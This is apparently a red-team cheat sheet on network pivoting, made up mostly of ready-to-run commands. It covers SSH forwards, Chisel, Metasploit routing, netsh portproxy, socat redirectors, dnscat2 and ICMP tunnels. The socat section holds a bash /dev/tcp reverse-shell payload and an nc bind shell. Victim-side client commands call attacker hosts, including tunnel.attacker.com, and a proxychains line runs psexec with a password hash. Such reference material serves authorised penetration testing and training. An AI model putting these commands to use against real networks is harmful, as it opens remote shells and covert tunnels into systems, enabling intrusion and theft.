The one page for every pivot you’ll build.

Pick a Technique

ScenarioUse
You have SSH access to pivotSSH -D, -L, -R, or sshuttle
Pivot is Windows, SSH not availableChisel, plink, netsh portproxy
You have a Meterpreter shellautoroute + socks_proxy module
Target can only talk HTTP outboundChisel over HTTPS
Target can only talk DNS outbounddnscat2 / dns2tcp / iodine
ICMP onlyptunnel
Ingress point is RDPSocksOverRDP, or layer Chisel on top
Need HTTP CONNECT proxyrpivot (reverse HTTP tunnel)

SSH Tunnels

# -L : Local port forward — attacker:<local-port> → pivot → target:<port>
ssh -L 8080:10.10.11.5:80 user@pivot
# attacker's localhost:8080 hits target 10.10.11.5:80 via pivot
 
# -R : Remote port forward — pivot:<port> → attacker:<local-port>
ssh -R 4444:localhost:4444 user@pivot
# pivot's localhost:4444 reaches attacker's localhost:4444
 
# -D : Dynamic SOCKS — attacker:<port> becomes a SOCKS5 proxy via pivot
ssh -D 1080 user@pivot
# then: proxychains / socks5 config → every tool goes through pivot
# /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -n 10.10.11.0/24
proxychains impacket-psexec admin@10.10.11.5 -hashes :<hash>
proxychains firefox

Sshuttle — “poor man’s VPN”

sshuttle -r user@pivot 10.10.11.0/24
# transparently routes any TCP to 10.10.11.0/24 through pivot — no proxychains needed
sshuttle -r user@pivot 0/0                        # route everything
sshuttle --dns -r user@pivot 10.10.11.0/24        # pivot DNS too

Chisel (SOCKS over HTTP)

Attacker:

./chisel server --reverse -p 8000

Victim / pivot (Linux):

./chisel client <attacker-ip>:8000 R:1080:socks

Victim / pivot (Windows):

.\chisel.exe client <attacker-ip>:8000 R:1080:socks

Then on attacker: proxychains <tool> with SOCKS5 127.0.0.1:1080.

Specific port forward (not SOCKS)

# Expose pivot's reachable 10.10.11.5:3389 on attacker localhost:3389
./chisel client <attacker> R:3389:10.10.11.5:3389

Metasploit Routing

meterpreter > run autoroute -s 10.10.11.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run

Then proxychains <tool> with 127.0.0.1:1080.

Equivalent manual:

msf6 > route add 10.10.11.0/24 <session-id>
msf6 > route print

Meterpreter portfwd

meterpreter > portfwd add -l 3389 -r 10.10.11.5 -p 3389
# attacker localhost:3389 now reaches target 10.10.11.5:3389

meterpreter > portfwd add -R -l 4444 -p 4444 -L <attacker-ip>
# reverse portfwd: pivot:4444 → attacker:4444

Windows Pivots

netsh portproxy (built-in)

rem Expose pivot:80 → attacker-reachable on pivot:8080
netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=10.10.11.5
 
rem Delete
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
 
rem List
netsh interface portproxy show all

Firewall rule first:

netsh advfirewall firewall add rule name="fwd" dir=in action=allow protocol=TCP localport=8080

plink.exe (PuTTY’s SSH)

rem Dynamic SOCKS from Windows pivot back to attacker SSH
plink.exe -D 1080 -N user@<attacker-ip>
 
rem Local port forward
plink.exe -L 445:10.10.11.5:445 user@<attacker-ip>

SocksOverRDP

Load as RDP virtual channel plugin → every RDP session becomes a SOCKS5 proxy.

regsvr32.exe SocksOverRDP-Plugin.dll

Attacker runs SocksOverRDP-Server.exe on the target during RDP session.

Socat Redirectors

Reverse-shell redirector

# Attacker listens for the shell
nc -lvnp 4444
 
# Redirector (pivot) forwards shell from target to attacker
socat TCP-LISTEN:8080,fork TCP:<attacker>:4444
 
# Target payload connects to pivot:8080
bash -c 'bash -i >& /dev/tcp/<pivot>/8080 0>&1'

Bind-shell redirector

# Target listens
nc -lvnp 4444 -e /bin/sh
 
# Pivot forwards attacker:8080 → target:4444
socat TCP-LISTEN:8080,fork TCP:<target>:4444
 
# Attacker connects
nc <pivot> 8080

Encrypted redirector (SSL/TLS)

# Generate cert
openssl req -new -x509 -keyout cert.key -out cert.crt -days 365 -nodes
cat cert.key cert.crt > cert.pem
 
# Listener with SSL
socat OPENSSL-LISTEN:8080,cert=cert.pem,verify=0,fork TCP:<target>:4444
 
# Client
socat - OPENSSL:<pivot>:8080,verify=0

DNS Tunnel (dnscat2)

Attacker (server):

sudo ruby dnscat2.rb --dns server=<attacker-ip>,port=53 --secret=secret

Victim (client):

.\dnscat2-client.exe --dns server=<attacker-ip> --secret=secret
# with a real DNS domain:
.\dnscat2-client.exe tunnel.attacker.com --secret=secret

Inside dnscat2 session:

dnscat2> listen 127.0.0.1:1080 10.10.11.5:445
dnscat2> windows        # list sessions
dnscat2> window -i 1    # interact with session 1

ICMP Tunnel (ptunnel-ng)

Attacker (proxy):

sudo ptunnel-ng

Victim (client):

sudo ptunnel-ng -p <attacker-ip> -lp 2222 -da <target> -dp 22
ssh -p 2222 user@127.0.0.1   # SSH over ICMP via attacker

rpivot (HTTP CONNECT)

Reverse SOCKS5 over an HTTP proxy chain.

Attacker:

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

Victim:

python client.py --server-ip <attacker-ip> --server-port 9999
# or through a corporate HTTP proxy:
python client.py --server-ip <attacker-ip> --server-port 9999 \
  --ntlm-proxy-ip <proxy> --ntlm-proxy-port 8080 \
  --domain CORP --username bob --password 'Pass!'

Methodology Checklist

  1. Confirm connectivity constraint. What can the pivot reach? What can the attacker reach the pivot over?
  2. Pick the simplest technique that fits. SSH -D > sshuttle > Chisel > DNS > ICMP.
  3. Lay down ONE layer at a time. Add proxychains, test one resource, then expand.
  4. Verify DNS. Most proxychains issues are DNS — add targets to /etc/hosts or use the pivot’s DNS.
  5. Consider chaining. Pivot 1 opens a tunnel; pivot 2 is reached through the first; chain proxychains --proxyconfig with multiple hops.
  6. Clean up. Kill tunnels, remove scheduled tasks, remove service accounts, revert netsh portproxy rules.

Common Pitfalls

  • ICMP / UDP won’t pass through SOCKS. nmap needs -sT (TCP connect) and -Pn (no ping).
  • proxychains timeout — defaults too short. Edit /etc/proxychains.conf:
    tcp_read_time_out 15000
    tcp_connect_time_out 8000
    
  • SSH connection broken. Add ServerAliveInterval 30 to ~/.ssh/config — long tunnels drop silently without keepalives.
  • Chisel version mismatch. Server and client must be exact same version. Pin both to a release tag.
  • DNS exfil = slow. 100 bytes/s is normal for dnscat2. Use only when there’s no other egress.
  • Firewall catches netsh portproxy. Add firewall rule explicitly before testing.